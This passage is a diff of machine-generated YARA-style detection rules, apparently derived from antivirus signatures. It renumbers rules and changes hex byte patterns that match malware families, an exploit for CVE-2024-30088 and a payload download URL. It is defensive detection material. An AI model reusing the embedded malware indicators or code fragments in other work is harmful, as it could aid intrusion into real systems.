1)*18467) >=1 } -rule _InfrastructureShared_12216{ +rule _InfrastructureShared_13020{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -135781,7 +144872,7 @@ rule _InfrastructureShared_12216{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_12217{ +rule _InfrastructureShared_13021{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -135791,7 +144882,7 @@ rule _InfrastructureShared_12217{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_12218{ +rule _InfrastructureShared_13022{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -135801,7 +144892,7 @@ rule _InfrastructureShared_12218{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_12219{ +rule _InfrastructureShared_13023{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -135812,7 +144903,7 @@ rule _InfrastructureShared_12219{ ((#a_6c_0 & 1)*16675+(#a_00_1 & 1)*308) >=1 } -rule _InfrastructureShared_12220{ +rule _InfrastructureShared_13024{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -135823,7 +144914,7 @@ rule _InfrastructureShared_12220{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*22788) >=1 } -rule _InfrastructureShared_12221{ +rule _InfrastructureShared_13025{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -135834,7 +144925,7 @@ rule _InfrastructureShared_12221{ ((#a_54_0 & 1)*18467+(#a_15_1 & 1)*3844) >=1 } -rule _InfrastructureShared_12222{ +rule _InfrastructureShared_13026{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " @@ -135843,12 +144934,12 @@ rule _InfrastructureShared_12222{ $a_d2_2 = {f0 89 90 17 02 01 01 44 54 24 90 00 01 00 14 03 74 0a 33 d2 f7 f0 89 90 17 04 01 01 01 01 81 91 86 96 90 00 01 00 11 03 74 0a 33 d2 f7 f0 89 90 17 02 01 } //2164 $a_24_3 = {00 01 00 08 01 74 08 33 d2 f7 f0 8b f2 00 00 78 b0 00 00 01 00 01 00 09 00 21 23 48 53 54 52 3a 4d 46 43 46 69 6c 65 00 01 00 0d 02 4d 46 43 31 90 02 03 2e 44 4c 4c 90 00 01 00 0d 02 4d 46 43 32 90 02 03 2e 44 4c 4c 90 00 01 00 0d 02 4d 46 43 33 90 02 03 2e 44 4c 4c 90 00 01 00 0d 02 4d 46 43 34 90 02 03 2e 44 4c 4c 90 00 01 00 0d 02 4d 46 43 35 90 02 03 2e 44 4c 4c 90 00 01 00 0d 02 4d 46 43 36 90 02 03 2e 44 4c 4c 90 00 01 00 0d 02 4d 46 } //-31743 $a_02_4 = {03 2e 44 4c 4c 90 00 01 00 0d 02 4d 46 43 38 90 02 03 2e 44 4c 4c 90 00 01 00 0d 02 4d 46 43 39 90 02 03 2e 44 4c 4c 90 00 00 00 78 b0 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 43 65 65 49 6e 6a 65 63 74 2e 5a 48 21 62 69 74 00 01 00 59 03 6a 00 50 c6 45 90 01 01 52 c6 45 90 01 01 74 c6 45 90 01 01 6c c6 45 90 01 01 4d c6 45 90 01 01 6f c6 45 90 01 01 76 c6 45 90 01 01 65 } //14147 - $a_01_5 = {01 4d c6 45 90 01 01 65 c6 45 90 01 01 6d c6 45 90 01 01 6f c6 45 90 01 01 72 c6 45 90 01 01 79 c6 45 90 01 01 00 90 00 01 00 1d 03 0f b6 d2 03 f2 81 e6 ff 00 00 00 8a 14 06 03 cf 30 11 47 81 ff 90 01 03 00 72 c4 90 00 00 00 78 b0 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 46 6c 61 74 45 61 72 74 68 2e 41 21 64 68 61 00 01 00 1d 43 b8 4d 5a 00 00 66 39 01 0f 85 90 01 04 48 63 41 3c 48 05 08 } //17862 + $a_01_5 = {01 4d c6 45 90 01 01 65 c6 45 90 01 01 6d c6 45 90 01 01 6f c6 45 90 01 01 72 c6 45 90 01 01 79 c6 45 90 01 01 00 90 00 01 00 1d 03 0f b6 d2 03 f2 81 e6 ff 00 00 00 8a 14 06 03 cf 30 11 47 81 ff 90 01 03 00 72 c4 90 00 00 00 78 b0 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 43 4e 5f 48 6f 6e 6b 65 72 5f 49 6e 74 65 72 63 65 70 74 69 6f 6e 00 01 00 34 03 2e 5c 64 61 74 5c 48 6f 6f } //17862 condition: ((#a_54_0 & 1)*18467+(#a_d2_2 & 1)*2164+(#a_24_3 & 1)*-31743+(#a_02_4 & 1)*14147+(#a_01_5 & 1)*17862) >=1 } -rule _InfrastructureShared_12223{ +rule _InfrastructureShared_13027{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 09 00 21 " @@ -135866,29 +144957,18 @@ rule _InfrastructureShared_12223{ ((#a_54_0 & 1)*18467+(#a_02_1 & 1)*13635+(#a_74_2 & 1)*400+(#a_6c_3 & 1)*400+(#a_4d_4 & 1)*400+(#a_6f_5 & 1)*400+(#a_76_6 & 1)*400+(#a_65_7 & 1)*400+(#a_4d_8 & 1)*400) >=1 } -rule _InfrastructureShared_12224{ +rule _InfrastructureShared_13028{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_46_0 = {48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 43 65 65 49 6e 6a 65 63 74 2e 5a 48 21 62 69 74 00 01 00 59 03 6a 00 50 c6 45 90 01 01 52 c6 45 90 01 01 74 c6 45 90 01 01 6c c6 45 90 01 01 4d c6 45 90 01 01 6f c6 45 90 } //16675 - $a_c6_1 = {90 01 01 65 c6 45 90 01 01 4d c6 45 90 01 01 65 c6 45 90 01 01 6d c6 45 90 01 01 6f c6 45 90 01 01 72 c6 45 90 01 01 79 c6 45 90 01 01 00 90 00 01 00 1d 03 0f b6 d2 03 f2 81 e6 ff 00 00 00 8a 14 06 03 cf 30 11 47 81 ff 90 01 03 00 72 c4 90 00 00 00 78 b0 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 46 6c 61 74 45 61 } //257 + $a_c6_1 = {90 01 01 65 c6 45 90 01 01 4d c6 45 90 01 01 65 c6 45 90 01 01 6d c6 45 90 01 01 6f c6 45 90 01 01 72 c6 45 90 01 01 79 c6 45 90 01 01 00 90 00 01 00 1d 03 0f b6 d2 03 f2 81 e6 ff 00 00 00 8a 14 06 03 cf 30 11 47 81 ff 90 01 03 00 72 c4 90 00 00 00 78 b0 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 43 4e } //257 condition: ((#a_46_0 & 1)*16675+(#a_c6_1 & 1)*257) >=2 } -rule _InfrastructureShared_12225{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 46 6c 61 74 45 61 72 74 68 2e 41 21 64 68 61 00 01 00 1d 43 b8 4d 5a 00 00 66 39 01 0f 85 90 01 04 48 63 41 3c 48 05 08 01 00 00 48 3b d0 73 90 00 01 00 60 01 70 6c 69 63 61 74 69 6f 6e 2f } //16675 - $a_65_1 = {2d 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 77 77 77 2d 41 75 74 68 6f 72 69 7a 61 74 69 6f 6e 3a 20 42 67 72 61 6e 74 5f 74 79 70 65 3d 72 65 66 72 65 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 73 68 5f 74 6f 6b 65 6e 20 26 72 65 66 72 65 73 00 00 78 b0 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f } //25455 - condition: - ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*25455) >=2 - -} -rule _InfrastructureShared_12226{ +rule _InfrastructureShared_13029{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -135899,7 +144979,7 @@ rule _InfrastructureShared_12226{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-28615) >=2 } -rule _InfrastructureShared_12227{ +rule _InfrastructureShared_13030{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -135909,7 +144989,7 @@ rule _InfrastructureShared_12227{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_12228{ +rule _InfrastructureShared_13031{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -135920,7 +145000,7 @@ rule _InfrastructureShared_12228{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*-26112) >=2 } -rule _InfrastructureShared_12229{ +rule _InfrastructureShared_13032{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -135930,7 +145010,7 @@ rule _InfrastructureShared_12229{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_12230{ +rule _InfrastructureShared_13033{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -135941,7 +145021,7 @@ rule _InfrastructureShared_12230{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*15104) >=2 } -rule _InfrastructureShared_12231{ +rule _InfrastructureShared_13034{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -135951,7 +145031,7 @@ rule _InfrastructureShared_12231{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_12232{ +rule _InfrastructureShared_13035{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -135961,7 +145041,7 @@ rule _InfrastructureShared_12232{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_12233{ +rule _InfrastructureShared_13036{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -135971,7 +145051,7 @@ rule _InfrastructureShared_12233{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_12234{ +rule _InfrastructureShared_13037{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -135983,7 +145063,7 @@ rule _InfrastructureShared_12234{ ((#a_46_0 & 1)*16675+(#a_ff_1 & 1)*11712+(#a_65_2 & 1)*29807) >=2 } -rule _InfrastructureShared_12235{ +rule _InfrastructureShared_13038{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -135997,7 +145077,7 @@ rule _InfrastructureShared_12235{ ((#a_6d_0 & 1)*19235+(#a_69_1 & 1)*29285+(#a_42_2 & 1)*11588+(#a_14_3 & 1)*3844+(#a_83_4 & 1)*-15101) >=2 } -rule _InfrastructureShared_12236{ +rule _InfrastructureShared_13039{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -136009,7 +145089,7 @@ rule _InfrastructureShared_12236{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*100+(#a_61_2 & 1)*28530) >=3 } -rule _InfrastructureShared_12237{ +rule _InfrastructureShared_13040{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -136021,7 +145101,7 @@ rule _InfrastructureShared_12237{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*-16251+(#a_54_2 & 1)*8516) >=3 } -rule _InfrastructureShared_12238{ +rule _InfrastructureShared_13041{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -136033,7 +145113,7 @@ rule _InfrastructureShared_12238{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*25955+(#a_54_2 & 1)*11873) >=3 } -rule _InfrastructureShared_12239{ +rule _InfrastructureShared_13042{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -136045,7 +145125,7 @@ rule _InfrastructureShared_12239{ ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*18734+(#a_54_2 & 1)*8513) >=3 } -rule _InfrastructureShared_12240{ +rule _InfrastructureShared_13043{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -136056,7 +145136,7 @@ rule _InfrastructureShared_12240{ ((#a_46_0 & 1)*21283+(#a_e8_1 & 1)*-29880) >=3 } -rule _InfrastructureShared_12241{ +rule _InfrastructureShared_13044{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -136068,7 +145148,7 @@ rule _InfrastructureShared_12241{ ((#a_4c_0 & 1)*21539+(#a_df_1 & 1)*8209+(#a_77_2 & 1)*25710) >=3 } -rule _InfrastructureShared_12242{ +rule _InfrastructureShared_13045{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -136080,7 +145160,7 @@ rule _InfrastructureShared_12242{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*95+(#a_2e_2 & 1)*25956) >=3 } -rule _InfrastructureShared_12243{ +rule _InfrastructureShared_13046{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -136093,7 +145173,7 @@ rule _InfrastructureShared_12243{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*-24284+(#a_46_2 & 1)*18726+(#a_00_3 & 1)*26482) >=3 } -rule _InfrastructureShared_12244{ +rule _InfrastructureShared_13047{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -136106,30 +145186,19 @@ rule _InfrastructureShared_12244{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*9533+(#a_61_2 & 1)*28530+(#a_01_3 & 1)*-15617) >=3 } -rule _InfrastructureShared_12245{ +rule _InfrastructureShared_13048{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 36 34 2f 4a 75 6e 67 6c 65 52 75 6d 62 6c 65 2e 42 21 64 68 61 00 01 00 13 01 52 74 6c 44 65 63 6f 6d 70 72 65 73 73 42 75 66 00 00 00 01 00 1c 01 53 00 79 00 73 00 74 00 65 00 } //16675 $a_00_1 = {73 00 65 00 72 00 2e 00 64 00 6c 00 6c 00 01 00 07 01 73 0a 00 00 66 0a 00 01 00 13 01 0f b6 07 ff c2 30 01 48 8d 49 01 3b 57 08 7c f0 8b 47 08 01 00 1e 01 41 8b c0 c1 e8 1d 41 8b d0 c1 ea 1e 45 8b c8 83 e0 01 41 c1 e9 1f 83 e2 01 41 0f ba e0 19 00 00 78 } //109 - $a_41_4 = {46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 48 65 72 61 63 6c 65 73 2e 4e 48 21 4d 54 42 00 03 00 4a 01 28 } //8448 + $a_41_4 = {46 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 36 34 2f 43 56 45 2d 32 30 32 34 2d 33 30 30 38 38 2e 41 21 64 68 } //8448 F:Exploit:Win64/CVE-2024-30088.A!dh condition: ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*109+(#a_41_4 & 1)*8448) >=3 } -rule _InfrastructureShared_12246{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 48 65 72 61 63 6c 65 73 2e 4e 48 21 4d 54 42 00 03 00 4a 01 28 14 00 00 0a 13 09 11 09 6f 0b 00 00 0a 25 2d 0c 26 72 01 00 00 70 73 15 00 00 0a 7a 13 0a 11 0a 6f 16 00 00 0a 8e 69 8d 01 00 00 } //16675 - $a_11_1 = {8e 16 fe 03 13 11 11 11 2c 05 11 } //4865 - condition: - ((#a_46_0 & 1)*16675+(#a_11_1 & 1)*4865) >=4 - -} -rule _InfrastructureShared_12247{ +rule _InfrastructureShared_13049{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -136142,7 +145211,7 @@ rule _InfrastructureShared_12247{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*28261+(#a_69_2 & 1)*8308+(#a_5f_3 & 1)*25959) >=4 } -rule _InfrastructureShared_12248{ +rule _InfrastructureShared_13050{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -136155,7 +145224,7 @@ rule _InfrastructureShared_12248{ ((#a_46_0 & 1)*16675+(#a_39_1 & 1)*12378+(#a_00_2 & 1)*744+(#a_34_3 & 1)*-14585) >=4 } -rule _InfrastructureShared_12249{ +rule _InfrastructureShared_13051{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -136168,7 +145237,7 @@ rule _InfrastructureShared_12249{ ((#a_54_0 & 1)*18467+(#a_43_1 & 1)*-32487+(#a_69_2 & 1)*28483+(#a_61_3 & 1)*25966) >=4 } -rule _InfrastructureShared_12250{ +rule _InfrastructureShared_13052{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -136176,25 +145245,38 @@ rule _InfrastructureShared_12250{ $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 6e 65 67 61 2e 53 4b 4d 52 34 30 21 4d 54 42 00 01 00 2f 81 01 68 74 74 70 3a 2f 2f 39 35 2e 32 31 34 2e 32 34 2e 33 37 2f 53 79 73 74 65 6d 45 6e 76 2f 75 70 6c 6f 61 64 73 2f 4c 66 62 6b 6d 2e 76 64 66 01 } //18467 $a_01_1 = {4a 77 65 67 6f 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 0a 81 01 46 6f 72 6d 31 5f 4c 6f 61 64 01 00 13 81 01 49 6e 69 74 69 61 6c 69 7a 65 43 6f 6d 70 6f 6e 65 6e 74 00 00 78 b0 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4c 4c 47 31 32 33 21 4d 54 42 00 01 00 1a 81 01 65 76 6e } //9216 $a_67_2 = {20 73 65 6b 73 70 65 72 73 6f 6e 65 72 73 6b 75 70 65 01 00 2a 81 01 64 6f 77 6e 6d 61 72 6b 65 74 20 75 76 69 72 6b 73 6f 6d 68 65 64 65 6e 20 74 6f 6c 6b 6e 69 6e 67 73 72 61 6d 6d 65 72 6e 65 01 00 1d 81 01 6d 69 63 72 6f 70 68 6f 74 6f 6d 65 74 72 65 20 6f 6d 65 6e 74 69 74 69 73 2e 65 78 65 01 00 11 81 01 61 } //29285 - $a_72_3 = {6d 61 6e 64 73 20 72 61 74 69 6f 00 00 78 b0 00 00 04 00 04 00 04 00 21 23 53 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 61 6c 67 6f 6e 61 2e 41 21 64 68 61 00 01 00 12 01 68 74 74 70 3a 2f 2f 25 73 2f 25 73 3f 66 6e 3d 25 73 01 00 21 01 62 6f 75 6e 64 61 72 79 3d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 34 35 63 65 } //30316 + $a_72_3 = {6d 61 6e 64 73 20 72 61 74 69 6f 00 00 78 b0 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 54 44 30 31 21 4d 54 42 00 01 00 22 81 01 62 79 73 74 65 72 6e 65 73 20 6b 75 6d 75 6c 61 74 69 6f 6e 65 72 20 63 65 6e 74 69 6c 6c 69 6f 6e 73 01 00 1f 81 01 64 61 6d 65 72 6b 6b 65 72 20 75 6e } //30316 condition: ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*9216+(#a_67_2 & 1)*29285+(#a_72_3 & 1)*30316) >=4 } -rule _InfrastructureShared_12251{ +rule _InfrastructureShared_13053{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4c 4c 47 31 32 33 21 4d 54 42 00 01 00 1a 81 01 65 76 6e 65 72 69 67 74 20 73 65 6b 73 70 65 72 73 6f 6e 65 72 73 6b 75 70 65 01 00 2a 81 01 64 6f 77 6e 6d 61 72 6b 65 74 20 75 76 69 72 6b 73 6f 6d } //18467 - $a_65_1 = {20 74 6f 6c 6b 6e 69 6e 67 73 72 61 6d 6d 65 72 6e 65 01 00 1d 81 01 6d 69 63 72 6f 70 68 6f 74 6f 6d 65 74 72 65 20 6f 6d 65 6e 74 69 74 69 73 2e 65 78 65 01 00 11 81 01 61 6c 76 6f 72 73 6d 61 6e 64 73 20 72 61 74 69 6f 00 00 78 b0 00 00 04 00 04 00 04 00 21 23 53 4c 46 50 45 52 3a 54 72 6f 6a 61 } //25960 - $a_69_2 = {33 32 2f 44 61 6c 67 6f 6e 61 2e 41 21 64 68 61 00 01 00 12 01 68 74 74 70 3a 2f 2f 25 73 2f 25 73 3f 66 6e 3d 25 73 01 00 21 01 62 6f 75 6e 64 61 72 79 3d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 34 35 63 65 66 32 32 65 39 30 66 01 00 21 01 25 73 5f 74 69 67 65 } //14958 - $a_30_3 = {64 2d 25 30 32 64 20 25 30 32 64 2d 25 30 32 64 2d 25 30 32 64 01 00 20 01 25 73 5f 6c 69 6f 6e 28 25 30 32 64 } //10354 + $a_65_1 = {20 74 6f 6c 6b 6e 69 6e 67 73 72 61 6d 6d 65 72 6e 65 01 00 1d 81 01 6d 69 63 72 6f 70 68 6f 74 6f 6d 65 74 72 65 20 6f 6d 65 6e 74 69 74 69 73 2e 65 78 65 01 00 11 81 01 61 6c 76 6f 72 73 6d 61 6e 64 73 20 72 61 74 69 6f 00 00 78 b0 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 } //25960 + $a_61_2 = {65 72 2e 4c 54 44 30 31 21 4d 54 42 00 01 00 22 81 01 62 79 73 74 65 72 6e 65 73 20 6b 75 6d 75 6c 61 74 69 6f 6e 65 72 20 63 65 6e 74 69 6c 6c 69 6f 6e 73 01 00 1f 81 01 64 61 6d 65 72 6b 6b 65 72 20 75 6e 68 6f 6e 6f 72 61 62 6c 65 20 64 61 73 79 70 79 67 61 6c 01 00 21 81 01 75 6e 67 61 69 6e 73 61 79 69 6e 67 20 62 75 67 73 65 } //27765 + $a_20_3 = {6e 6c 62 73 62 72 6f 65 6e 73 01 00 12 81 01 73 6f 6c 69 66 6c 75 63 74 69 6f 6e 61 6c 2e 65 78 65 00 00 78 b0 00 00 04 00 04 00 04 00 21 23 53 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 61 6c 67 6f 6e 61 2e 41 21 64 68 61 00 01 00 12 01 68 74 74 70 3a 2f 2f 25 73 2f 25 73 3f 66 6e 3d 25 73 01 00 21 01 62 6f 75 6e 64 61 72 79 } //25970 condition: - ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*25960+(#a_69_2 & 1)*14958+(#a_30_3 & 1)*10354) >=4 + ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*25960+(#a_61_2 & 1)*27765+(#a_20_3 & 1)*25970) >=4 } -rule _InfrastructureShared_12252{ +rule _InfrastructureShared_13054{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 54 44 30 31 21 4d 54 42 00 01 00 22 81 01 62 79 73 74 65 72 6e 65 73 20 6b 75 6d 75 6c 61 74 69 6f 6e 65 72 20 63 65 6e 74 69 6c 6c 69 6f 6e 73 01 00 1f 81 01 64 61 6d 65 72 6b 6b 65 72 20 75 6e 68 } //18467 + $a_72_1 = {62 6c 65 20 64 61 73 79 70 79 67 61 6c 01 00 21 81 01 75 6e 67 61 69 6e 73 61 79 69 6e 67 20 62 75 67 73 65 72 65 73 20 61 6e 6c 62 73 62 72 6f 65 6e 73 01 00 12 81 01 73 6f 6c 69 66 6c 75 63 74 69 6f 6e 61 6c 2e 65 78 65 00 00 78 b0 00 00 04 00 04 00 04 00 21 23 53 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 61 6c } //28271 + $a_61_2 = {41 21 64 68 61 00 01 00 12 01 68 74 74 70 3a 2f 2f 25 73 2f 25 73 3f 66 6e 3d 25 73 01 00 21 01 62 6f 75 6e 64 61 72 79 3d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 34 35 63 65 66 32 32 65 39 30 66 01 00 21 01 25 73 5f 74 69 67 65 72 28 25 30 32 64 2d 25 30 32 64 20 25 30 32 64 2d 25 30 32 64 2d 25 30 32 64 01 00 20 01 25 73 5f 6c } //28519 + $a_28_3 = {30 32 64 2d 25 30 32 64 20 25 30 32 64 2d 25 30 32 64 2d 25 30 32 64 00 00 78 b0 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 61 74 72 79 6f 73 68 6b 61 2e 41 21 69 62 74 00 01 00 0e 80 01 6d 61 74 72 79 6f 73 68 6b 61 2e 65 78 65 01 00 14 80 01 55 6e 61 62 6c 65 20 74 6f 20 77 72 69 74 65 } //28521 + condition: + ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*28271+(#a_61_2 & 1)*28519+(#a_28_3 & 1)*28521) >=4 + +} +rule _InfrastructureShared_13055{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -136207,7 +145289,7 @@ rule _InfrastructureShared_12252{ ((#a_46_0 & 1)*21283+(#a_35_1 & 1)*11565+(#a_6e_2 & 1)*26988+(#a_74_3 & 1)*25632) >=4 } -rule _InfrastructureShared_12253{ +rule _InfrastructureShared_13056{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -136219,7 +145301,7 @@ rule _InfrastructureShared_12253{ ((#a_4c_0 & 1)*21539+(#a_74_1 & 1)*25632+(#a_3a_3 & 1)*17748) >=4 } -rule _InfrastructureShared_12254{ +rule _InfrastructureShared_13057{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -136232,7 +145314,7 @@ rule _InfrastructureShared_12254{ ((#a_4c_0 & 1)*21539+(#a_24_1 & 1)*-30392+(#a_00_2 & 1)*-18111+(#a_ba_3 & 1)*13125) >=4 } -rule _InfrastructureShared_12255{ +rule _InfrastructureShared_13058{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -136245,7 +145327,7 @@ rule _InfrastructureShared_12255{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*144+(#a_00_2 & 1)*77+(#a_74_3 & 1)*30024) >=4 } -rule _InfrastructureShared_12256{ +rule _InfrastructureShared_13059{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -136253,29 +145335,43 @@ rule _InfrastructureShared_12256{ $a_54_0 = {3a 46 69 6c 65 48 75 6e 74 65 72 00 01 00 14 01 46 69 6c 65 48 75 6e 74 65 72 20 49 6e 73 74 61 6c 6c 65 72 01 00 32 01 70 32 70 20 63 6c 69 65 6e 74 20 69 6e 73 74 61 6c 6c 61 74 69 6f 6e 20 61 6e 64 20 61 6e 6f 6e 79 6d 6f 75 73 20 64 6f 77 6e 6c } //18467 $a_69_1 = {67 3a 01 00 14 01 72 00 65 00 74 00 6e 00 75 00 48 00 65 00 6c 00 69 00 46 00 01 00 0e 01 2f 00 2f 00 3a 00 70 00 74 00 74 00 68 00 01 00 0c 01 2f 00 73 00 61 00 66 00 66 00 3d 00 01 00 08 01 6e 00 65 00 70 00 6f 00 00 00 04 00 78 b0 00 00 04 00 04 00 06 00 21 23 54 45 